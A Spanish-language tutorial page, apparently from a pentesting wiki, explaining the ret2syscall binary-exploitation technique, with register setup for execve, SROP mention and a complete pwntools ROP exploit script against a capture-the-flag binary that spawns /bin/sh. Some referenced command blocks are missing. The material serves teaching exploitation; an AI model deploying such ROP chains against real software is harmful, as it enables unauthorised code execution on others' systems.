Ret2syscall
Ret2syscall
Información Básica
Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall sys_execve
con algunos argumentos para ejecutar /bin/sh
. Esta técnica generalmente se realiza en binarios compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall.
Para preparar la llamada a la syscall se necesita la siguiente configuración:
rax: 59 Especifica sys_execve
rdi: ptr a "/bin/sh" especifica el archivo a ejecutar
rsi: 0 especifica que no se pasan argumentos
rdx: 0 especifica que no se pasan variables de entorno
Por lo tanto, básicamente es necesario escribir la cadena /bin/sh
en algún lugar y luego realizar la syscall
(siendo conscientes del relleno necesario para controlar la pila). Para esto, necesitamos un gadget para escribir /bin/sh
en un área conocida.
Otra syscall interesante para llamar es mprotect
que permitiría a un atacante modificar los permisos de una página en memoria. Esto se puede combinar con ret2shellcode.
Gadgets de registros
Comencemos encontrando cómo controlar esos registros:
Con estas direcciones es posible escribir el contenido en la pila y cargarlo en los registros.
Escribir cadena
Memoria escribible
Primero necesitas encontrar un lugar escribible en la memoria
Escribir una cadena en la memoria
Entonces necesitas encontrar una forma de escribir contenido arbitrario en esta dirección
Automatizar cadena ROP
El siguiente comando crea una cadena ROP completa de sys_execve
dado un binario estático cuando hay gadgets de escribir-dónde-qué y instrucciones de llamada al sistema:
32 bits
64 bits
64 bits
Gadgets Faltantes
Si te faltan gadgets, por ejemplo para escribir /bin/sh
en la memoria, puedes usar la técnica SROP para controlar todos los valores de los registros (incluyendo RIP y los registros de parámetros) desde la pila:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Última actualización